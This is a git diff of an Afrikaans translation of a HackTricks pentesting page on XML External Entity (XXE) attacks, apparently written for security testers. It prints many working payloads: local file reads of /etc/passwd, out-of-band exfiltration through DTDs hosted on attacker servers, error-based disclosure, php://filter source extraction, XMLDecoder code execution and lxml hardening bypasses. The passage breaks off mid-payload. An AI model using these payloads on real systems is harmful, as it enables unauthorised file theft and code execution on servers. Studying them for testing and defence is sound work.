mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to af
This commit is contained in:
parent
c11b1b6070
commit
c685362476
@ -1,26 +1,31 @@
|
||||
# XXE - XEE - XML Externe Entiteit
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
- [Dojo CTF-uitdaging #42 – Hex Kleurpalet XXE skrywe](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml fout #2107279 – Parameter-entiteit XXE steeds moontlik](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## XML Basiese Beginsels
|
||||
|
||||
XML is 'n opmaaktaal wat ontwerp is vir dataopberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing van etikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
|
||||
XML is 'n opmaaktaal wat ontwerp is vir datastoor en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende getitelde etikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
|
||||
|
||||
- **Data voorstelling deur Entiteite**: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos `<` en `>`, wat ooreenstem met `<` en `>` om konflik met XML se etikette stelsel te vermy.
|
||||
- **Definiëring van XML Elemente**: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
|
||||
- **Dokumenttipe Definisie (DTD)**: DTD's is van kardinale belang in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat lei hoe dokumente geformateer en gevalideer word.
|
||||
- **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, bring sekuriteitskwessies mee, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databronne hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **XXE Opsporing met Parameter Entiteite**: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk as gevolg van parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
|
||||
- **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, wek sekuriteitskwessies, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databronne hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **XXE Opsporing met Parameter Entiteite**: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk as gevolg van parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
## Hoofaanvalle
|
||||
|
||||
[**Die meeste van hierdie aanvalle is getoets met die wonderlike Portswiggers XEE laboratoriums: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
[**Meeste van hierdie aanvalle is getoets met die wonderlike Portswiggers XEE laboratoriums: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Nuwe Entiteit toets
|
||||
|
||||
In hierdie aanval gaan ek toets of 'n eenvoudige nuwe ENTITEIT verklaring werk.
|
||||
In hierdie aanval gaan ek toets of 'n eenvoudige nuwe ENTITEIT verklaring werk
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||||
@ -65,7 +70,7 @@ In hierdie derde geval let op dat ons die `Element stockCheck` as ANY verklaar.
|
||||
|
||||
### Gidslys
|
||||
|
||||
In **Java** gebaseerde toepassings mag dit moontlik wees om die **inhoud van 'n gids te lys** via XXE met 'n payload soos (net die gids vra in plaas van die lêer):
|
||||
In **Java** gebaseerde toepassings mag dit moontlik wees om die **inhoud van 'n gids te lys** via XXE met 'n payload soos (net vra vir die gids in plaas van die lêer):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -83,7 +88,7 @@ In **Java** gebaseerde toepassings mag dit moontlik wees om die **inhoud van 'n
|
||||
```
|
||||
### Blind SSRF
|
||||
|
||||
Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML entiteite nie toegelaat word** nie; in daardie geval kan jy probeer om **XML parameter entiteite** te gebruik:
|
||||
Met die **voorheen kommentaar gelede tegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML entiteite nie toegelaat word** nie, in daardie geval kan jy probeer om **XML parameter entiteite** te gebruik:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
@ -91,7 +96,7 @@ Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry t
|
||||
```
|
||||
### "Blind" SSRF - Exfiltreer data uit-band
|
||||
|
||||
**In hierdie geval gaan ons die bediener laat 'n nuwe DTD met 'n kwaadwillige payload laai wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit via \_ftp://**\_ uit te haal met hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**In hierdie geval gaan ons die bediener laat laai 'n nuwe DTD met 'n kwaadwillige payload wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit via \_ftp://**\_ uit te haal met hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
In die gegewe kwaadwillige DTD word 'n reeks stappe uitgevoer om data uit te haal:
|
||||
|
||||
@ -121,18 +126,18 @@ Die aanvaller huisves hierdie kwaadwillige DTD op 'n bediener onder hul beheer,
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parsser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die ekfiltrasie van die `/etc/hostname` lêer na die aanvaller se bediener.
|
||||
Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parsser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die ekfiltrasie van die `/etc/hostname`-lêer na die aanvaller se bediener.
|
||||
|
||||
### Foutgebaseerd (Eksterne DTD)
|
||||
|
||||
**In hierdie geval gaan ons die bediener dwing om 'n kwaadwillige DTD te laai wat die inhoud van 'n lêer binne 'n foutboodskap sal wys (dit is slegs geldig as jy foutboodskappe kan sien).** [**Voorbeeld hier.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
'n XML-parsingsfoutboodskap, wat die inhoud van die `/etc/passwd` lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:
|
||||
'n XML-parsingsfoutboodskap, wat die inhoud van die `/etc/passwd`-lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:
|
||||
|
||||
1. 'n XML parameterentiteit genaamd `file` word gedefinieer, wat die inhoud van die `/etc/passwd` lêer bevat.
|
||||
1. 'n XML parameterentiteit genaamd `file` word gedefinieer, wat die inhoud van die `/etc/passwd`-lêer bevat.
|
||||
2. 'n XML parameterentiteit genaamd `eval` word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML parameterentiteit genaamd `error` inkorporeer. Hierdie `error` entiteit, wanneer geëvalueer, probeer om 'n nie-bestaande lêer te laai, wat die inhoud van die `file` entiteit as sy naam inkorporeer.
|
||||
3. Die `eval` entiteit word aangeroep, wat lei tot die dinamiese verklaring van die `error` entiteit.
|
||||
4. Aangroeping van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die `/etc/passwd` lêer as deel van die lêernaam insluit.
|
||||
4. Aanspreking van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die `/etc/passwd`-lêer as deel van die lêernaam insluit.
|
||||
|
||||
Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:
|
||||
```xml
|
||||
@ -150,9 +155,9 @@ _**Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die
|
||||
|
||||
So wat van blinde XXE kwesbaarhede wanneer **uit-baan interaksies geblokkeer is** (eksterne verbindings is nie beskikbaar nie)?
|
||||
|
||||
'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem maak die interne herdefinisie van entiteite wat eksterne verklaar is, moontlik, wat die uitvoering van foutgebaseerde XXE-aanvalle vergemaklik. Sulke aanvalle benut die herdefinisie van 'n XML parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
|
||||
'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem laat die interne herdefinisie van entiteite wat eksterne verklaar is toe, wat die uitvoering van foutgebaseerde XXE-aanvalle fasiliteer. Sulke aanvalle benut die herdefinisie van 'n XML parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers op plaaslike DTD-lêers staatmaak om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
|
||||
|
||||
Oorweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer by `/usr/local/app/schema.dtd` bevat, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd` lêer onthul deur 'n hibriede DTD soos volg in te dien:
|
||||
Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer by `/usr/local/app/schema.dtd` bevat, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML-ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd`-lêer onthul deur 'n hibriede DTD soos volg in te dien:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -188,7 +193,7 @@ Die uiteengesette stappe word deur hierdie DTD uitgevoer:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Aangesien hierdie tegniek 'n **interne DTD gebruik, moet jy eers 'n geldige een vind**. Jy kan dit doen deur **die dieselfde OS / sagteware** wat die bediener gebruik te **installeer** en **sommige standaard DTD's** te **soek**, of **'n lys** van **standaard DTD's** binne stelsels te **gryp** en te **kontroleer** of enige van hulle bestaan:
|
||||
Aangesien hierdie tegniek 'n **interne DTD gebruik, moet jy eers 'n geldige een vind**. Jy kan dit doen deur **die dieselfde OS / sagteware** te installeer wat die bediener gebruik en **sommige standaard DTD's** te soek, of **'n lys** van **standaard DTD's** binne stelsels te **gryp** en te **kontroleer** of enige van hulle bestaan:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -221,9 +226,9 @@ Testing 0 entities : []
|
||||
|
||||
Vir 'n meer diepgaande verduideliking van hierdie aanval, **kyk na die tweede afdeling van** [**hierdie wonderlike pos**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **van Detectify**.
|
||||
|
||||
Die vermoë om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser moontlik te wees om die data uit die sigblad te onttrek, sal dit onvermydelik ten minste een XML-lêer moet parse.
|
||||
Die vermoë om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser om die data uit die sigblad te onttrek, sal dit onvermydelik nodig wees om ten minste een XML-lêer te parse.
|
||||
|
||||
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer te skep wat 'n XXE-payload bevat**. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontzip kan word.
|
||||
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer wat 'n XXE-payload bevat, te skep**. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontzip kan word.
|
||||
|
||||
Sodra die dokument ontzip is, moet die XML-lêer geleë by `./unzipped/word/document.xml` geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
|
||||
|
||||
@ -235,7 +240,7 @@ Nou kan die geskepte lêer na die potensieel kwesbare webtoepassing opgelaai wor
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
Die **jar** protokol is eksklusief beskikbaar binne **Java-toepassings**. Dit is ontwerp om lêer toegang binne 'n **PKZIP** argief (bv. `.zip`, `.jar`, ens.) te fasiliteer, wat beide plaaslike en afstand lêers dek.
|
||||
Die **jar** protokol is eksklusief beskikbaar binne **Java-toepassings**. Dit is ontwerp om lêertoegang binne 'n **PKZIP** argief (bv. `.zip`, `.jar`, ens.) moontlik te maak, wat beide plaaslike en afstandslêers dek.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
@ -245,7 +250,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
|
||||
Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-protokol behels verskeie stappe:
|
||||
|
||||
1. 'n HTTP-versoek word gemaak om die zip-argief van 'n gespesifiseerde ligging af te aflaai, soos `https://download.website.com/archive.zip`.
|
||||
1. 'n HTTP-versoek word gemaak om die zip-argief van 'n gespesifiseerde ligging af te laai, soos `https://download.website.com/archive.zip`.
|
||||
2. Die HTTP-antwoord wat die argief bevat, word tydelik op die stelsel gestoor, tipies in 'n ligging soos `/tmp/...`.
|
||||
3. Die argief word dan onttrek om toegang tot sy inhoud te verkry.
|
||||
4. Die spesifieke lêer binne die argief, `file.zip`, word gelees.
|
||||
@ -320,11 +325,11 @@ Kontrollere [https://portswigger.net/web-security/xxe](https://portswigger.net/w
|
||||
|
||||
### SVG - Lêeroplaai
|
||||
|
||||
Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevat lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
|
||||
Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevatte lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
|
||||
|
||||
Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
|
||||
Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, mag die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
|
||||
|
||||
'n Voorbeeld van so 'n uitbuiting word hieronder getoon, waar 'n kwaadwillige SVG-beeld probeer om stelsellêers te lees:
|
||||
'n Voorbeeld van so 'n ontploffing word hieronder getoon, waar 'n kwaadwillige SVG-beeld probeer om stelsellêers te lees:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
@ -358,7 +363,7 @@ Content-Length: 7
|
||||
|
||||
foo=bar
|
||||
```
|
||||
Dan mag jy dalk die volgende versoek indien, met dieselfde resultaat:
|
||||
Dan kan jy dalk die volgende versoek indien, met dieselfde resultaat:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: text/xml
|
||||
@ -396,7 +401,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
</root>
|
||||
</root>
|
||||
```
|
||||
Nog 'n voorbeeld kan gevind word [hier](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||
Nog 'n voorbeeld kan [hier](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) gevind word.
|
||||
|
||||
## WAF & Beskerming Omseilings
|
||||
|
||||
@ -429,7 +434,7 @@ As die web Java gebruik, kan jy die [**jar: protocol**](xxe-xee-xml-external-ent
|
||||
### HTML Entities
|
||||
|
||||
Truk van [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Jy kan 'n **entiteit binne 'n entiteit** skep deur dit met **html entities** te kodeer en dit dan aan te roep om 'n **dtd** te **laai**.\
|
||||
Jy kan 'n **entiteit binne 'n entiteit** skep deur dit met **html entities** te kodifiseer en dit dan aan te roep om 'n **dtd** te **laai**.\
|
||||
Let daarop dat die **HTML Entities** wat gebruik word **numeries** moet wees (soos \[in hierdie voorbeeld]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -448,7 +453,7 @@ DTD voorbeeld:
|
||||
|
||||
### Base64
|
||||
|
||||
**Ontrek** _**index.php**_
|
||||
**Onttrek** _**index.php**_
|
||||
```xml
|
||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
||||
```
|
||||
@ -476,9 +481,9 @@ DTD voorbeeld:
|
||||
|
||||
Hierdie voorbeeld is geïnspireer deur [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||||
|
||||
XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsprosesse oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaarondersteunde Vertaling) gereedskap.
|
||||
XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsproses oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaar-geassisteerde Vertaling) gereedskap.
|
||||
|
||||
### Blind Request Analise
|
||||
### Blind Versoek Analise
|
||||
|
||||
'n Versoek word aan die bediener gemaak met die volgende inhoud:
|
||||
```xml
|
||||
@ -492,7 +497,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Hierdie versoek veroorsaak egter 'n interne bedienerfout, wat spesifiek 'n probleem met die merkverklarings noem:
|
||||
egter, hierdie versoek veroorsaak 'n interne bedienerfout, wat spesifiek 'n probleem met die merkverklarings noem:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -500,7 +505,7 @@ Hierdie versoek veroorsaak egter 'n interne bedienerfout, wat spesifiek 'n probl
|
||||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||||
}
|
||||
```
|
||||
Ten spyte van die fout, word 'n treffer op Burp Collaborator aangeteken, wat 'n sekere vlak van interaksie met die eksterne entiteit aandui.
|
||||
Ten spyte van die fout, word 'n treffer op Burp Collaborator geregistreer, wat 'n sekere vlak van interaksie met die eksterne entiteit aandui.
|
||||
|
||||
Out of Band Data Exfiltration Om data te eksfiltreer, word 'n gewysigde versoek gestuur:
|
||||
```
|
||||
@ -514,7 +519,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Aangetekende beperking met hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
|
||||
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Opgemerkte beperking met hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
|
||||
|
||||
Error-Based Data Exfiltration Om hierdie beperking te oorkom, word 'n Error-Based benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te aktiveer wat data van 'n teikendlêer insluit:
|
||||
```xml
|
||||
@ -534,7 +539,7 @@ Om die lêer se inhoud in die foutboodskap in te sluit, word die DTD-lêer aange
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML Externe Entiteit) aanval, wat beide Out of Band en Fout-gebaseerde tegnieke benut om sensitiewe inligting te onttrek.
|
||||
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML External Entity) aanval, wat beide Out of Band en Error-Based tegnieke benut om sensitiewe inligting te onttrek.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
@ -609,7 +614,7 @@ Gebruik PHP base64-filter
|
||||
```
|
||||
## Java XMLDecoder XEE na RCE
|
||||
|
||||
XMLDecoder is 'n Java klas wat voorwerpe skep gebaseer op 'n XML boodskap. As 'n kwaadwillige gebruiker 'n toepassing kan kry om arbitrêre data in 'n oproep na die metode **readObject** te gebruik, sal hy onmiddellik kode-uitvoering op die bediener verkry.
|
||||
XMLDecoder is 'n Java-klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n kwaadwillige gebruiker 'n toepassing kan laat gebruik maak van arbitrêre data in 'n oproep na die metode **readObject**, sal hy onmiddellik kode-uitvoering op die bediener verkry.
|
||||
|
||||
### Gebruik van Runtime().exec()
|
||||
```xml
|
||||
@ -681,15 +686,73 @@ Kyk na hierdie wonderlike verslag [https://swarm.ptsecurity.com/impossible-xxe-i
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
### Python lxml Parameter-Entity XXE (Fout-gebaseerde Lêerontsluiting)
|
||||
|
||||
> [!INFO]
|
||||
> Die Python biblioteek **lxml** gebruik **libxml2** onder die oppervlak. Weergawes voor **lxml 5.4.0 / libxml2 2.13.8** brei steeds *parameter* entiteite uit selfs wanneer `resolve_entities=False`, wat dit bereikbaar maak wanneer die toepassing `load_dtd=True` en/of `resolve_entities=True` inskakel. Dit stel Fout-gebaseerde XXE payloads in staat om die inhoud van plaaslike lêers in die parser foutboodskap in te sluit.
|
||||
|
||||
#### 1. Exploiteer lxml < 5.4.0
|
||||
1. Identifiseer of skep 'n *plaaslike* DTD op skyf wat 'n **onbeskryfde** parameter entiteit definieer (bv. `%config_hex;`).
|
||||
2. Ontwerp 'n interne DTD wat:
|
||||
* Die plaaslike DTD laai met `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
|
||||
* Die onbeskryfde entiteit herdefinieer sodat dit:
|
||||
- Die teikend lêer lees (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- 'n Ander parameter entiteit bou wat na 'n **ongeldige pad** verwys wat die `%flag;` waarde bevat en 'n parser fout veroorsaak (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Laastens, brei `%local_dtd;` en `%eval;` uit sodat die parser `%error;` teëkom, misluk om `/aaa/<FLAG>` te open en die vlag binne die gegooi uitsondering lek – wat dikwels aan die gebruiker deur die toepassing teruggestuur word.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
<!ENTITY % config_hex '
|
||||
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
|
||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
|
||||
%eval;'>
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
Wanneer die aansoek die uitsondering druk, bevat die antwoord:
|
||||
```
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> As die parser kla oor `%`/`&` karakters binne die interne subset, kodifiseer hulle dubbel (`&#x25;` ⇒ `%`) om uitbreiding te vertraag.
|
||||
|
||||
#### 2. Om die lxml 5.4.0 verharding te omseil (libxml2 steeds kwesbaar)
|
||||
`lxml` ≥ 5.4.0 verbied *fout* parameter entiteite soos die een hierbo, maar **libxml2** laat steeds toe dat hulle in 'n *algemene* entiteit ingebed word. Die truuk is om:
|
||||
1. Lees die lêer in 'n parameter entiteit `%file`.
|
||||
2. Verklaar 'n ander parameter entiteit wat 'n **algemene** entiteit `c` bou waarvan die SYSTEM identifiseerder 'n *nie-bestaande protokol* soos `meow://%file;` gebruik.
|
||||
3. Plaas `&c;` in die XML liggaam. Wanneer die parser probeer om `meow://…` te dereferensieer, misluk dit en reflekteer die volle URI – insluitend die lêerinhoud – in die foutboodskap.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
